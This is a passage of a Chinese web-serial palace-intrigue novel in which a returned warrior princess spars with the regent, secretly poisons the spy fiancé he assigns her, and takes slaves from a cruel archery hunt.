洛云初冷哼一声,教训道, “遥迦,你是我当皇子一样培养出来的护国公主,是个能指挥千军万马的将军,不是养在深宫里的娇贵公主。 不曾想,你竟然如此贪生怕死,怎么对得起我过去数年对你的教诲!” 苏苡安蹙着黛眉,委屈尽显, “母后,我时刻铭记您的教诲,时刻铭记自己是个军人,为国捐躯,是我至高无上的荣耀。 只是,这次,我活着回来,绝非是因为我贪生怕死,而是为了大局考虑。 我若杀了萧北铭,南离还有太上皇。 萧昀身体康健,再活二十年不成问题。 他若重新坐到龙椅上,对北幽,是一个极大的威胁。 而且,萧昀还有活着的儿子,楚王萧楚钰光风霁月,深得民心。 将来,若是萧楚钰做了皇上,也会比萧北铭棘手,与其这样,还不如让萧北铭一直坐在龙椅上。 他那个人,暴躁易怒,是个只会打仗的武夫,不会理政,也不会处理朝臣关系,只好战,迟早要把南离的国力耗空的。 等他深陷和百越的战争泥潭,咱们就有机会了。” 洛云初闻言,虽然心中很赞同,但也只是很轻慢地说了一句, “倒是比从前伶牙俐齿起来,竟把贪生怕死说得这么清丽脱俗。” 苏苡安诚惶诚恐道, “母后,遥迦真的不是贪生怕死之辈。 自从我十三岁带兵之日起,就已经把生死置之度外了,我只想为皇上开疆拓土,让北幽国富民强。 我在南离多年,听说皇上一直未能亲政,总是夜不能寐。 这章没有结束,请点击下一页继续阅读!我私心想着,皇上的事情,我或许可以帮上忙,这比我在南离为国捐躯,更有价值。 天可怜见,如果我有一字虚言,就天打雷劈短折而死。” 洛云初终于放下了手中的茶盏,眯起眼睛审视着这个七年未见的公主。 虽然容貌有改,但是,眼神依旧透着笃定的忠诚,脸上,也多了岁月沉淀下来的从容和坚毅。 现如今,摄政王越来越不把皇上放在眼里的,迟迟无法亲政,她的身子骨也越发地不好,一个月有半月都下不来床。 从前,她没有指望遥迦能活着回来,现在一看,她在南离朝堂搅弄风云六年,还能全身而退,本事比她想象的要大,也是真的从南离学到了点东西。 说不定,她真的可以助皇上亲政,那时候,自己也好放心地去见先帝了。 思及此,落云初终于和缓了冰冷的态度, “玉漱宫已经为你打扫干净,准备了吃食,回去歇着吧。” 苏苡安恭敬叩首, “是,多谢母后。” 独孤珺璟擦干了眼泪,上前搀扶, “皇姐,我送你回去。” 彼时,苏苡安跪得双腿又僵又痛,还真的需要一个人搀扶着才好走。 她的玉漱宫离太后的永寿宫还挺远的,需要一盏茶的时间才能走到。 小皇帝见皇姐腿不利索,就说, “皇姐,我背你吧?” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第224章 一国之君怎么能让人熊成这样啊? “好啊。” 苏苡安一口就同意了,既然有人背,干嘛要自己走啊? 也好让宫里拜高踩低的奴才们看看,我护国公主回宫,皇上对我如此敬重,你们可别跟太后一样欺负老子。 小皇帝先是错愕一瞬,他真没想到,他近乎是说笑的一句话,皇姐还能当真,而且,还同意了。 怔了片刻之后,小皇帝又一躬身,开开心心把皇姐背起来了, “皇姐,你也不怎么重嘛。” 苏苡安冷着脸, “你这么说,我想起来了,你小时候,总是熊我背你。 我每天辰时就要起来学习文武骑射,到晚课结束累得都直不起腰了,你还要跟我玩骑马打仗。 我当时就想,你怎么那么重啊。” 苏苡安这话说得挺客气,实际上,就是人家独孤遥迦小时候,累一天了腰都直不起来,晚上还要给弟弟当马骑,哄弟弟开心。 那是什么牛马人生啊! 独孤珺璟听懂了皇姐话语里的抱怨,歉疚地笑了笑, “朕小时候不懂事嘛,其实那时候也没什么坏心思,只是想跟皇姐玩而已。 白天都见不到你,你有晚上才能见到你。 其实,朕那时候根本就不知道人还会有累的时候。” 苏苡安冲天翻了个白眼: 那可真是给你养尊处优坏了,连人会累都不知道。 你要是我弟弟,我早就一个大嘴巴子呼死你了。 好好让你感受一下人间疾苦。 独孤珺璟又说,“皇姐,小时候总是你背朕,其实,朕也偷偷期待着过,要快些长大,也好能背动你。” 苏苡安都懒得搭理他,这个时候再弥补,已经完了,你的皇姐已经死了。 独孤珺璟没走多远,就开始连呼哧带喘的了。 苏苡安鄙视得要死: 白白长这么高个头了,弱得跟个菜鸡一样,怪不得被摄政王欺负得不要不要的。 说来,太后和这小皇帝的身体都弱不禁风,可偏偏公主的身体素质从小就极佳,而且,太后一点都不把公主当亲生的看,这不得不引起了苏苡安的深深怀疑: 难不成,公主的身世有猫腻? 独孤珺璟把皇姐背到玉漱宫的时候,累出了一背汗。 玉漱宫宫门口站了两排迎接护国公主的太监和宫女。 苏苡安拍了拍小皇帝的肩膀, “放我下来。” 独孤珺璟还在逞强,“不累,朕要把你背到屋里。” 苏苡安也不多解释,直接掐着他的肩膀,跳了下来。 小皇帝疼得一蹙眉: 独孤珺璟的手劲儿,还是这么大啊,这会铁定又要淤青好几日了…… 太监宫女们齐齐跪地见礼,异口同声道, “见过皇上,见过公主。” 苏苡安扫了一眼他们几个,都是生面孔,冷面训话, “你们跟了我,以后就是我的人,要对我绝对的忠诚。 不绝对忠诚,就是绝对不忠诚,一律军法处置,杀无赦。” “是,公主。”奴才们齐齐应声。 “都起来吧,摆膳。” “是,公主。” 北幽的冬季,膳食很单一,桌上只有各种肉,连个绿叶菜都没有。 不过,苏苡安也不挑,只要有口吃的就行,她现在最关键的问题,是怎么在这里站稳脚跟,夺回兵权。 独孤珺璟不高兴了,当即黑脸,颐指气使地质问, “玉漱宫怎么连个干菜都没有啊?荤素搭配才能对身体好,你们这些奴才是怎么当差的?一点都不上心!” 宫女太监跪了一地,“奴才罪该万死。” 独孤珺璟一看他们这副不解释只求死德行,就知道是母后没有给皇姐拨分例。 明明皇家,真的不差那几根菜叶子,母后偏要说苦其筋骨脾胃,才能苦其心智,总是在这些小事上苛待皇姐。 “皇姐,以后,你玉漱宫缺什么就派人去朕的乾安殿取就是了。” 苏苡安点点头, “那我就不跟你客气了,我现在,正好缺一个护国公主府。” 苏苡安想着,搬出宫去住,离那个老妖婆远一点,她也方便做自己的事。 可是,独孤珺璟却是越发的黑脸了, “皇姐干嘛要搬出去住啊,你住在宫里,朕可以照应你的。 再说,朕现在做什么事,都要摄政王同意,就算朕肯给你批一个公主府,摄政王未必肯点头。” 彼时,苏苡安对小皇帝的鄙视真是难以言表: 一国之君怎么能让人熊成这样啊? 军政大权掌握不了也就罢了,一处宅子,他都说话不算,还活着个啥劲儿啊,找快豆腐撞死算了。 苏苡安为了维持护国公主的人设,也不好坚持,只是就着话题问道, “你这些年,都没有选皇后吗?按照祖制,皇上大婚以后就可以亲政了,摄政王都拦不住。” 独孤珺璟一脸委屈, “选了啊,怎么没选,这些年,母后陆陆续续给朕选了三个皇后,没有一个熬到大婚的日子,都死了。” 苏苡安淡道,“都是摄政王弄死的?” 独孤珺璟狠狠道, “不是他,还能有谁?可是,又找不到证据。 就算被选中的姑娘足不出户,周围一圈御林军保护着,都能死于非命,真是一点办法都没有。” 苏苡安若有所思道,“摄政王还挺能耐的哈……” 独孤珺璟认真地摆出了严肃脸, “所以说啊,皇姐,你别出宫住了,万一摄政对你下毒手怎么办啊,你住在宫里,他再跋扈,也不能在皇宫里杀人。” 苏苡安懒得跟他掰扯,只是点点头,闷声吃饭。 独孤珺璟不动筷子,就直勾勾地盯着她的脸, “皇姐,你的脸,还疼不疼了啊?” 苏苡安看小皇帝眼中的关心不像是演出来的,就连下卖惨, “疼啊,怎么不疼,我换脸的后遗症可严重了,尤其是阴天下雨,简直疼得夜不能寐。 不过,为了北幽,为了你,一切艰难困苦都是值得的。” 独孤珺璟又泪目了,抬手想去触碰她的脸。 苏苡安往后闪了一下, “无妨的,我是习武之人,不怕疼。不过,这些年吃了不少苦,倒是挺怕冷的了,你若是能多给我点银丝炭,把这屋子的地龙烧得再热些就好了。” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第225章 摄政王来了 独孤珺璟伸出的手抓了个空,他也感觉自己有点失礼了。 现在,他们都长大了,不能再像小时候那样,肆无忌惮地去触碰皇姐的脸了。 他收回了手,擦了擦自己的眼泪, “嗯,皇姐放心,朕一会儿就派人送来,别的事朕做不了主,但是不让皇姐饿着冷着,朕还是能做到的。” 苏苡安又点点头,继续吃饭,腹诽不休: 怎么会有皇帝窝囊成这样啊? 只能解决皇姐的温饱问题,还有脸说出口…… 姐弟俩一边吃饭,一边叙旧。 彼时,太监匆匆来报, “公主,摄政王来了。” 苏苡安还没发话见不见客,摄政王独孤照就大步流星地走进来了。 小皇帝一见摄政王,就跟老鼠见到猫一样,一下就站起来了,怯怯地唤了一声, “皇叔。” 苏苡安默默在心里翻了一白眼: 就你这样的,人家不把你从皇位上掀下来,都对不起你这怂样,知道吗? 苏苡安美眸轻抬,漫不经心地和摄政王犀利入狼的目光对视。 内心轻嗤一声: 眼神杀这招,对老子可没用。 独孤照见护国公主不搭话,又特别轻慢道, “你不跟本王见礼吗?” 苏苡安一字一句正色道, “先君臣,后叔侄,应该是摄政王先跟皇上见礼才对。” 独孤珺璟连忙惶恐道, “不用,不用,皇叔,您用午膳了吗?没有的话,坐下一起吃点。” 苏苡安腹诽了一句扶不起的阿斗,你自己不行,起码也别阻止我给你撑场子啊。 拖后腿的玩意儿! 然而,摄政王并不给小皇帝面子,而是用充满了威压的眼神看向苏苡安,沉声道, “他说不用,现在,该你给本王见礼了。” 苏苡安手里的筷子没停,慢条斯理地夹了一块红烧肉送进自己嘴里,吃饱了才有力气骂人。 就是这厮用一颗红颜劫送了护国公主归西,我现在不刀了你就不错了,还想让我跪你,真是做春秋大梦! 苏苡安在摄政王的眼刃下细嚼慢咽,良久才慢悠悠地启唇, “瞧小皇叔这话说的,我以什么身份给你见礼呢? 我是先帝亲封的超一品护国公主,和你这个摄政王是同品阶,按规矩,是不用见礼的。” 彼时,独孤照的忍耐已经到了极限,他怒目圆瞪, “独孤遥迦,本王是你的长辈,见到长辈,不行礼吗?” “呵呵~” 苏苡安皮笑肉不笑地呵呵了两声,耸耸肩,满眼都是冰冷的鄙夷, “小皇叔是我父皇当皇子一样抚养长大的弟弟,只比我大三岁而已,却总是喜欢在我的面前托大。 当年,我们一起学习弓马骑射之时,你就是万年老二。 我独孤遥迦,一身傲骨,跪天跪地跪父母,就是从来不跪手下败将。” 独孤照多年前的败绩,到现在依旧让他难堪,他咬牙切齿道, “你别拿十几年前的过往说事,明日,我就在府中组一局,你过来,我们重新比过!” 小皇帝都要紧张死了,摄政王这是对皇姐起杀心了。 可是,独孤珺璟还未来得及开口阻止,苏苡安就抢在他前面开口, “好啊,谁输了,谁跪地给对方磕三个响头!” 如此傲慢无礼的护国公主把摄政王气地鼓鼓的,不过,想想她明日去了自己的府邸,就要任他拿捏了,现在,高低也得忍忍,免得她不去赴约。 独孤照信手拉开一把椅子,在饭桌边坐下,目光在苏苡安的脸上逡巡,阴阳怪气起来, “去了一趟南离,脸皮子换了,嘴皮子也变利索了。” 苏苡安勾唇一笑,极为挑衅地挑眉, “小皇叔羡慕吗?下次,这种任务换你去。” 独孤照嘲讽意味十足的眼神, “你女大十八变,本王是个大老爷们,可效仿不来。” 苏苡安笑岑岑道, “小皇叔还真是一成不变,长得依旧和当年我们做同窗之时一样有鼻子有眼。” 孤独照气得鼻子都歪了,他也不知道自己怎么长的,独孤家的男人都挺俊朗的,偏偏只有他是个中人之姿。 “伶牙俐齿不饶人,就应该赶紧嫁出去,找个男人好好管管你。 你都二十六了吧?太后的身子骨不好,入冬以后就没有出过宫了,你的婚事,就由本王做主了。 过年之前就把你嫁出去,免得年纪越拖越大,都要变成老妖精了。” 苏苡安颔首一笑, “小皇叔还没有老呢,就开始健忘了吗?我已经嫁人了,还嫁了两次呢。” 独孤照倏尔立眉,拍桌大吼, “独孤遥迦!你好大的胆子!竟敢把南离的那两个人当做夫君,你这是叛国罪!” 苏苡安不慌不忙地笑道, “什么叛国罪?我一个人拿下了南离的楚王和皇上,可是我这辈子最骄傲的战绩。 小皇叔不让我提这事,是想抹杀我对北幽的贡献吗? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!哎呦呦,嫉妒真是让人丑陋得面目全非呢~” 独孤照愕然瞠目,真没想到,他想用她失身于敌的事情羞辱她,却被她当战绩炫耀了,她怎么会有这种奇葩的想法啊! “独孤遥迦,你不止是口条利索了,脸皮也厚了,让两个男人占了便宜的事,也好意思拿到台面上来说。” 苏苡安一脸坦然, “小皇叔此言差异,你随便找个玄铁营的将士问一嘴,就会知道南离皇上是天人之姿,跟他睡,我可赚大发了,我才是占便宜的那个人。 至于他的弟弟楚王,那是温润儒雅,小意柔情,比舞刀弄枪的糙汉子别有一番滋味。 可惜小皇叔是个男子,这等齐人之福,你是享受不到了。 不过,你若给我磕个响头,我可以细细地讲给你听。” 这些话,对独孤照来说,太过炸裂了。这些毫无廉耻的话,她敢说,他都不敢听, “独孤遥迦,你发疯了是不是?” 苏苡安颔首浅笑,一脸云淡风轻, “呵呵,瞧瞧小皇叔你紧张的,我可没疯,就是跟你谈论一下我过往几年办的差事而已。 不过,我承认,小皇叔刚刚说的话,有小半句很在理,我是应该再婚。 那就劳烦小皇叔帮我找个好看的男人入赘我的公主府。 哦,忘了,我还没有公主府呢,劳烦小皇叔尽快给我拨一个府邸。” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第226章 是我的功绩允许我站在了这里 独孤照被护国公主的言行震惊了一次又一次,嘴都没合拢过。 从前,她是那般抗婚,最后自己连红颜劫都用上了,她也没听话。 如今竟然这么爽快就答应了,难道是尝到男人的甜头,离不开了? 独孤照为别人添堵失败,自己心里就开始堵得慌了。 他站起身来,没好气儿道, “本王这就去给你安排,三日后完婚!” “那就辛苦小皇叔了,一定要年轻俊俏的男子哦,丑的老的我可不要。” 苏苡安笑盈盈地说着话,屁股没挪凳,手里还拿着筷子,虚抱了一拳充当武将礼, “小皇叔慢走,仔细脚下门槛,别摔着,免得到时候没办法来喝侄女的喜酒~” 摄政王一走,小皇帝可急坏了,俊朗的五官都变扭曲了, “皇姐,你干嘛要答应摄政王成亲啊,他能给你找什么好男人啊!肯定是又老又丑。” 苏苡安不以为意,“又老又丑的不就正好可以拒婚了嘛~” 小皇帝更加担忧了, “万一是年轻又好看的呢?你还真的要摄政王的眼线在你的身边晃悠吗?” 苏苡安冷蔑道, “他摄政王能杀你选中的女人,我就不能杀他选中的男人了? 多杀几个灭灭他的嚣张气焰,我还能白白捡一个公主府,多好的事情。” 独孤珺璟闻言,愁容尽显, “杀摄政王的人,皇姐,你有把握吗?” 苏苡安冷然一笑,眸子里满是自信, “你把最后一个字去掉。杀人,你皇姐我是专业的。我让他三更死,他就活不到五更!” 翌日早朝。 摄政王独孤照姗姗来迟。 最近两年,他越来越目中无人,他未到,早朝的廷议都不敢开始,小皇上都得等他。 今日,独孤照来得更加晚,就因为他昨日在玉漱宫受了气,今日,他要在小皇帝这里找回来。 可是,他一进入大殿,正好听见太监朗声宣布, “散朝~” 独孤照立即暴躁地冲宝座上的小皇帝怒喝, “本王还没来,谁允许你廷议的?” 苏苡安从人群中闪身,一副强烈护犊子的表情,挡在了独孤照的面前, “摄政王好大的架子,早朝迟到,还冲着皇上大呼小叫的,你还有人臣之道吗?” 独孤照瞠目, “独孤遥迦,你怎么在这里?谁允许你一个女人在朝堂之上抛头露面的?” 苏苡安昂首挺胸,掷地有声道, “女人怎么了? 我十三岁就在战场上抛头露面了,那时候,满朝文武,包括你摄政王之内,没有一个人站出来说不可以。 如今,我在南离卧底六载荣耀归来,这北幽的朝堂,定然有我护国公主的一席之地,是我的功绩允许我站在了这里!” 独孤照震惊了,没想到,她竟然还有脸当着文武百官的面公开此事。 那他准备安排她受不了过往的细作经历,抑郁而终的计划,不就落空了吗? 苏苡安似笑非笑地看着一脸吃瘪的摄政王。 今日,她在早朝上主动公布了自己在南离做细作的事情。 一来,她自己把这事拿到台面上说了,别人就没必要在背后蛐蛐她了,也就把编排瞎话,拿此事做文章的可能,从源头上掐了。 二来,这也是她宣布自己荣耀回朝了。 她是对北幽有大功的护国公主,谁也别想悄无声息地抹煞了她的存在。 女子贞洁大于天的那一套,在她这里可不好用,谁也别想拿这事作为攻讦她的筹码。 苏苡安又说, “小皇叔,你不是说今日组了局,要跟我比弓马骑射吗? 正好现在文武百官都在这里,让他们为咱们做个评判可好?” 独孤照再次怒目圆瞪: 这种事她都要在朝堂上公开,那他命人安排的那个夺命机关遍布的场地岂不是就不能用了? 只能临时换场地。 可是,独孤照好些年都没和她比试过了,这些年,虽然他骑射功夫无一日懈怠,但是,他没把握能稳赢,就说道, “本王把场地准备在了摄政王府,府中装不下这么多人,去几个武将观看就好。” 自然,站出来跟他们一同前往摄政王府的武将,都是独孤照的人。 万一中的万一,他真的输了,也不怕这丑事会传扬出去。 小皇帝目送清瘦的皇姐夹在一群人高马大的武将中离开,泪湿眼眸: 皇姐,一定要当心啊。 原本,他以为皇姐离开了北幽这么多年,受了那么多苦,回来一定会对他有怨气,不会再像小时候那样对他好了。 却不曾想,皇姐还是满心满眼的都是他,一心为他着想,把自己的生死置之度外。 她今日孤身去摄政王府,和龙潭虎穴有什么区别? 可恨他自己胆小又怯懦,实在不敢跟她一同前往。 苏苡安到了摄政王府,独孤照命管家紧急去准备出来比赛场地。 为了拖延时间,他还特意让护国公主的准驸马来给她奉茶。 准驸马的父兄都效忠于摄政王,他因为容貌出众,昨夜被紧急送来了摄政王听候教诲。 本来,他听说护国公主都二十五六高龄了,还非完壁之身,心中一百个不情愿当这份差。 以他的家世和容貌,阙都的世家贵女随便挑,干嘛要委屈自己尚公主。 可是,现下一见护国公主本人,登时就被惊艳得移不开眼了。 世上怎么会有如此惊艳出尘的女子啊,明艳大气,荣光万丈。 她站在那里,好像会发光一样,让他的心噗噗直跳起来。 准驸马喜不自胜,脸一红,低下了头,嘴角的笑容压不住: 想不到,自己文不成武不就的,只有一张脸说得过去,有朝一日这么大的狗屎运也能落到他身上。 苏苡安看了看摄政王给她选的这个驸马, “走近点。” 准驸马又上前了一步,更加地躬身,再高举了茶盏,一副情窦初开少年郎的娇羞模样,都不敢去看公主。 苏苡安抬手,没接茶杯,而是去摸他的脸, “模样不错,是本公主喜欢的长相,你多大了,谁家的,叫什么名字?” 第227章 这个狗东西,到底是哪伙儿的? 准驸马回头瞥了一眼站在人群里自己的父兄, “回公主的话,小人年十七,是虎师主帅靳戈的幺子,靳廷骁。” 苏苡安顺着靳廷骁的眼神,看向人群里的虎师主帅靳戈。 七年没见,靳戈将军外表没怎么变,只是,心变了。 从忠于皇上,转投到了摄政王麾下。 “原来你是靳戈将军的儿子,我们之前见过的。” “啊?” 靳廷骁一脸不可思议,他可不记得自己的记忆里有一位如此惊艳绝绝的女子,若是见过,他不可能没有印象。 苏苡安又继续道, “你的满月宴,我去了,我还抱过你呢。” 靳廷骁一时语塞,都不知该如何接话了,又看向了自己的父亲。 靳戈却是低下了头,看自己的官靴。 他清楚地记得,当时小公主赏脸来了他幺子的满月宴,还送了一把她自己用的宝剑做礼物。 说希望这孩子长大了能和父亲一起保家卫国,效忠皇上。 可是,现如今这小皇上,实在哪哪都不行,若是让他亲政,北幽怕是有亡国的危险,他真的效忠不了…… 现如今,北幽一共有五支大军,分别是: 太后掌握的玄机营,主职负责戍卫阙都,也会执行细作任务,收集别国情报。 名义上由护国公主执掌的玄铁营铁骑,负责在北幽的南疆开疆拓土,攻打南离。 以及分别驻守在北幽东部,西部以及北部的虎师,熊师以及狼师。 其中,靳戈执掌的虎师人数最多,实力也最强。 苏苡安又看了看站在靳戈将军身边的那两个人,正是熊师和狼师的主帅。 北幽一共五支军队,三支都倒向了摄政王,也难怪他嚣张成这样了。 苏苡安没有让靳戈将军尴尬,只是扫了一眼就撤回了目光,又转向了摄政王,微微一笑, “小皇叔给我选的驸马用心了,我很喜欢。” 摄政王也挂着一脸假笑, “公主喜欢就好,你们后天就可以拜天地了,以后好好在府里过日子,多生几个孩子才是正事,不要总是抛头露面。” 苏苡安不回摄政王的话,只是笑盈盈地用指甲尖划过了准驸马靳廷骁的手,才接过了他手中的茶杯,抿了一口,又递给他, “本公主是军旅之人,不拘小节,今日,你我同饮一杯茶,这事情,就算定下来了。 以后,我主外,你主内,咱们两个把日子过好,比什么都强。” 她勾的哪里是靳廷骁的手背,简直是他的心。 几句甜言,迷得少年郎五迷三道,心旌摇曳,毫不犹豫地就把这杯索命茶灌下肚。 苏苡安抿唇浅笑,腹诽着: 我过你大爷啊! 姓靳的,下辈子投胎注意点吧,投个好人家,别被人推出来当棋子了。 你这愣头青在本公主的手里,活不过一招。 好好看看今日的太阳吧,明日,你就看不到了。 苏苡安心里喊打喊杀,表面却温温柔柔地对靳廷骁说, “一会儿,你就陪在本公主身边,为我呐喊助威,可不能让我输给摄政王哦。” “是,公主~” 彼时,靳廷骁已经美得找不到北了,沉浸在了自己的狗屎运中无法自拔,满脑子都是他们以后的幸福生活。 摄政王准备的弓马骑射比赛,是猎人。 放出一群带着手镣脚镣,赤足蓬发,衣不蔽体的男奴,往山坡上爬。 摄政王和护国公主两个人则站在山脚下,往林中射箭,一炷香的时间,谁射杀的奴隶多,谁就赢了。 这是在北幽贵族里很流行的一种狩猎活动。 这些奴隶的祖先曾经都是生活在北幽西部游牧民族,于一百多年前当年败给北幽以后,从此就世代为奴了。 他们平日里干着最苦最累的活儿,却是衣不蔽体,食不果腹,大冬天都不配拥有一双草鞋,一旦犯一点点错,就会被送去做活靶子。 苏苡安眯起眼睛,看着这些脸上印着奴隶标记的人,他们都是青少年,最多是中年,一个个看起来都很健壮。 因为弱小的奴隶就早就累死了,是不配拥有后代的,而且,奴隶在北幽干那么辛苦的活,即便先天身体健壮也没命活到年老,三十就算是高寿了。 彼时,苏苡安眯起眼睛,一弓搭双箭,目光如炬。 她要抢在摄政王下手之前,尽可能多的救人。 她只需要把他们放倒就足矣,然后再把他们弄出摄政王府,救活,今后为她所用。 原地射活靶子,虽然有树木的遮挡,但是这对苏苡安来说,易如反掌。 她在南离之时,骑马射箭是下过功夫的,更何况,现在身体里护国公主的记忆觉醒了,战斗力强得可怕。 渐渐地,她从一弦搭双箭变成了一弦搭五支箭,且箭箭无虚发,还能时不时冲靳廷骁抛一个媚眼。 靳廷骁受到了极大的情绪鼓励,从小声为公主加油,变成了由衷兴奋地呐喊。 这是他长这么大,第一次见到比他父亲还厉害的神箭手,而且这么漂亮又有本事的女人即将成为他的妻,激动得忘乎所以。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!靳廷骁手舞足蹈声嘶力竭地喊着公主加油,嗓子都吼哑了。 全场都是摄政王的人,也只有靳廷骁一个人在为护国公主加油助威。 独孤照眼看自己输已经成定局,自然而然地就把怒火撒向了像猴子一样上蹿下跳的靳廷骁: 这个狗东西,到底是哪伙儿的? 独孤遥迦不愧是做过祸国妖后的人,三言两语,就魅惑得这混小子忘本了。 看本王一会儿怎么收拾他!好好给他一个警醒! 一炷香灭了,比赛时间到。 独孤照正犯愁怎么抵赖掉这场赌局,他是不可能给独孤遥迦磕响头的! 苏苡安却抢先开口了, “小皇叔,咱们昨日说好的,我若赢了,你府上的奴隶都归我了。 现在我赢了,这些奴隶,不论生死,都送到我的公主府去吧!” 独孤照一怔,他没想到,护国公主还能主动给他一个台阶下。 苏苡安一挑眉, “怎么,小皇叔昨日答应给我的护国公主府,还没准备好吗?” 那自然是没准备好,他还没选出来阙都最破的宅子,可是,现下他被架上来了,只能改口, “那倒不是,早就准备好了,皇宫边上的清河大长公主府去年空出来了,现在,就拨给你做府邸了。 只是不知道,你要这些死了的奴隶作甚?” 苏苡安一脸坦然道, “我在南离这些年,多了一个种花的爱好,那些死奴,我可以拿去堆肥,这样,明年我府中的花儿才能开得好。” 就这样,苏苡安带着五百多号青壮奴隶,回到了她的护国公主府。 她射倒地的那些人,没有一个断气,且都没伤到要害。 她最擅长治疗外伤,让他们站起来,不过是几副药的事。 收买人心这种事,对于苏苡安来说不要太熟练了。 她要把这些先天身体条件优越的奴隶,培养成刺入摄政王胸口的一把利刃! 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第228章 小皇叔,你踹死了我的驸马,得赔钱! 护国公主一离开,摄政王就迫不及待地赏赐了靳廷骁一记窝心脚, “你这个混账!刚刚加油喊那么大声作甚!” 靳廷骁的父兄,就在旁边冷眼看着他被打,谁都不上去求情。 毕竟,这混小子刚刚上蹿下跳地给护国公主加油,如此灭摄政王的威风,实在过分了些。 且一点不都不像是装的,他真的很希望护国公主赢了摄政王。 如此忘本,这混小子今日不挨一顿打,真的说不过去。 靳廷骁挨了一脚,疼痛使他回过了神,终于想起来自己不是真的要给护国公主当驸马,而是要在她的身边做细作,给摄政王传递消息。 自己刚刚太忘乎所以了,现下冷静下来,吓得不行,赶忙战战兢兢地跪起来,求摄政王宽宥。 独孤照正在气头上,说话一点都不顾身为摄政王的体面了,什么难听说什么,最后,连带着他的父兄一起骂, “这就是你们举荐给本王的人?靳家是没人了嘛! 除了一张脸,一无是处! 护国公主说了两句好听的话,他就不知道自己是谁了,成婚以后,不得把本王卖了啊!留着他有何用?” 靳廷骁一看摄政王竟然对自己起杀心了,吓得颤抖落泪,直磕头,惶恐地找补, “摄政王饶命啊,求你留着我,我会对你有用的。 我刚刚都是装的,是想让护国公主对我放下戒备而已,不曾想装得太像了,竟然连你们都骗过去了。” 独孤照一听这话更来气, “你是说本王连真的和装的都看不出来?你是骂本王瞎吗?” 旋即,独孤照又气愤地送出去一脚。 靳廷骁应声倒地,嘴里喷出一口鲜血,而后,身体抽搐了一下,两眼一翻白,再也不动弹了。 “啊呀!廷骁!” 靳戈见过的死人多了去了,他一眼就看出来了,儿子这是真的断气了。 他什么都不管不顾冲了上去,抱起了儿子的尸体,老泪纵横, “廷骁,你闭眼作甚?快,快睁眼看看爹。” 儿子办事不利,摄政王可以打,可以骂,但是,你把人两脚给踹死了算怎么回事…… 此情此景,独孤照也懵了。 他知道靳戈家这个幺儿,文不成武不就,刚刚,他踹出的那两脚都收着力度呢,怎么就出了人命呢…… “传府医!” 府医来了,也不能让人起死回生。 而且,苏苡安既然出手了,也定不会让人查出来靳廷骁是中毒而亡。 两脚踹死虎师主帅儿子这口大黑锅,摄政王背定了! 第二天,苏苡安就带着一群人气势汹汹地杀到了摄政王府: “小皇叔,你踹死了我的驸马,得赔钱!” 独孤照自然是不愿意接这话茬,就开始找她的晦气, “你身后跟的这群是什么玩意儿?怎么穿得人模狗样的登堂入室了?我摄政王府的客厅,是奴隶能进来的吗!” 昨日这些还衣不蔽体,蓬头垢面带着手镣脚镣的奴隶,今日,就穿上崭新的棉衣棉鞋,脸洗得干干净净,头发都剃光了,手镣脚镣也没了。 若不是脸上都有‘奴’字的刺青,很难把他们和奴隶联系起来。 苏苡安笑笑, “瞧小皇叔这话说的,怕是忘记我是个女子了吧? 他们若是衣不蔽体地在我眼前晃,我也会害羞不是? 再说,我现在不用他们,也没人可用。 小皇叔若是不想让这些奴隶脏了你的眼,你就把我的玄铁营还给我?” 独孤照剜了她一眼, “玄铁营的将士驻守边关,可不能来阙都给你当下人,你想用下人,跟本王开口就是了,要多少有多少。” 苏苡安也很爽快地下道, “那就劳烦小皇叔拨给我十几二十个丫鬟小厮。 还有,我今日出门带了十辆马车,劳烦皇叔都给我装满了。 我的驸马,可不能白白被你踹死了,小皇叔身份高贵,不用抵命,赔钱总是要的。” 独孤照气得不行, “你们还没成亲呢,你找我赔什么钱?没见过你这么不害臊的,想男人想疯了吗!” 苏苡安双臂交叠抱在胸前,不愠不恼一副纨绔做派, “昨日大家伙儿可都看到了,我和靳廷骁共饮一杯茶,我们的亲事已经定下来了。 如今,我是他的未亡人,怎么就没资格? 左右,小皇叔也不差这点东西,你给了,我就走人,你不给,我就天天带着奴隶来脏你的眼睛。” 独孤照拍桌而起,“独孤遥迦,你怎么变得如此胡搅蛮缠,不要脸!” 苏苡安顺势往椅背上一靠,二郎腿一翘,一脸玩世不恭的姿态,慢条斯理道, “脸是什么东西?我只想为我死去的驸马讨个公道~” 独孤照知道她诚心来找茬,可是她有确实占到理了,只能恨恨地咬碎了后槽牙, “不就是一个驸马嘛?我再给你找一个就是了!别闹了,丢人现眼得很!” 苏苡安撇嘴点头, “嗯,再给我找一个是必须的,模样可要在这个之上。 只是,这个驸马也不能白死,你不赔钱,我就去宗人府告状,让独孤家的长辈们评评理。” 独孤照最烦的就是那些族老,就是他们整日在上面用祖宗规矩压着他,他才没办法对小皇帝取而代之。 这事情,若闹到了宗人府,也是要他赔银子的。 现在他陪,还能少给点。 思及此,独孤照只好让管家去库房,捡不值钱的玩意儿,随便给护国公主装了十马车。 又安排了十个丫鬟十个小厮跟她一起回公主府,也好以后监视她的一举一动。 她在闹什么幺蛾子,他也好提前有个准备。 却不曾想,苏苡安出了摄政王府,直接去了虎师帅府,把她要来的这些东西和人,一股脑地都送到了靳家。 靳戈没想到护国公主会来吊孝,还带了这么多东西,一脸懵然,不知道她葫芦里卖的什么药。 苏苡安眼泪汪汪地说, “靳将军痛失爱子,我痛失驸马,今日,我们两个都是这世上最伤心的人。 奈何我无能,不能让摄政王一命抵一命,只能去摄政王府讨要了这些东西给你,聊表慰藉。” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第229章 不接受好人卡,来点实际的 靳戈白发人送黑发人,一夜苍老了十岁。 杀子之仇,不共戴天,但是,对方是一手遮天的摄政王,他却没办法为儿子讨要说法。 靳家根本就不差这十车东西的赔偿,但是,很需要护国公主这个真诚的态度。 